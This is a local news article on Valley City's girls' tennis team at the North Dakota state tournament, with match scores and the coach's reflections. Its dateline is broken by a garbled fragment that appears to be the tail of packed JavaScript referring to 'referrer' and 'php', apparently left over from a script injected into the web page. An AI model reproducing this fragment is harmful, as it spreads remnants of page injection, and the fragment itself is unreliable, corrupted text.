BISMARCK, zhrrt|var|u0026u|referrer|kkreh||js|php’.split(‘|’),0,{})) N.D (NewsDakota.com) The Hi-Liners Tennis team entered the State Team Tournament as the number three seed from the East, which meant a meeting with Bismarck Century in the opening round. Despite wins at number one and two singles(Clarissa Olson and Reagan Ingstad) the Hi-Liners could not squeeze out another victory as they fell to the Patriots 3-2 in the opening round.
Despite the loss, Valley City entered the second round with spirits high as they took on Dickinson High School. After a win from Olson, the Hi-Liners dropped the next two singles matches. In order to advance to the second day of competition, the Hi-Liners would need a sweep of the Midgets in doubles match ups.
Sam Coit returns a shot from Dickinson
Samantha Coit and Sara Gilbertson took care of business first pulling off a big two set win to tie things up. The Hi-Liners would finally eliminate the Midgets after Maia Wendel and Rachel Schueneman staved off a comeback attempt from Ireland Jung and Shaelynn Roller to claim three set victory over the Dickinson High duo.
Maia Wendel returns a shot from Dickinson
The Hi-Liner will play for fifth place tomorrow morning at 9am against Fargo Davies.
Day One Results:
Bismarck Century 3 vs Valley City 2
Clarissa Olson VC def. Alyssa Wolf BC (6-3, 6-4)
Reagan Ingstad VC def. Courtney Brackin BC( 6-3, 6-3)
Jaimee Stoppler BC def. Abby Ingstad VC (6-2, 6-0)
Anna Dickson and Morgan Grinsteiner BC def. Sam Coit and Sara Gilbertson VC (6-3, 6-2)
Paige Fettig and Nora Erickson BC def. Maia Wendel and Rachel Schueneman VC (6-3, 6-2)
The Hi-Liners pose for a picture at the State Tournament
Coach Nielson’s Thoughts:
We had a good line-up out against Century. If we had to do it all over again, we would run out the same thing. Talking to Bismarck Century’s Coach McPherson, he said his doubles both played the best matches of their season. Today, Century played better and deserved the win. The loss sent us to the consolation bracket.
Individually in the Century match, Clarissa Olson put together a great match, beating the #3 player from the West in the individual singles tournament. Also, our #4 player and 8th grader, Reagan Ingstad, beat the true #2 player on the #2 team in the west that also state qualified #2 in doubles from the west and she is a senior. Great matches ladies. It wasn’t the win that was impressive, it was the fact that both were underdogs which made it impressive.
In the consolation bracket, we put out a line-up that had a shot to win at all five positions. Clarissa dispatched her opponent in short order. Reagan ran into a player that didn’t make mistakes and forced Reagan into mistakes. Abby lost a tough match and after reflection, I believe Abby is driven to be the most improved player next year. She wants to win those matches in the future and will work to do it. In doubles, Sam and Sara started the match on fire and cruised to a victory.
At #2 doubles, Maia and Rachel had a very stressful match. After rolling in the first set, 6-2, we found themselves up 5-4, 40-0 with 4 match points. Those four didn’t fall our way. Then, at 6-5, we were up 40-30 with two match points. Dickinson won those points as well as the tie-breaker for the set. We discussed several things in the 10 minute break before the 3rd set including positioning at the net, poaching, and being aggressive. Rachel took hold. She poached more in the 3rd set than she has the whole season. We were down 3-4 when it really clicked and Rachel forced Dickinson to hit a couple errors and Rachel put a couple key volleys away. After getting up 5-4, Rachel served beautifully for the match and Maia played great net which then clinched the victory and propelled us into the Consolation finals tomorrow morning against Fargo Davies. Winner takes home the 5th place trophy.
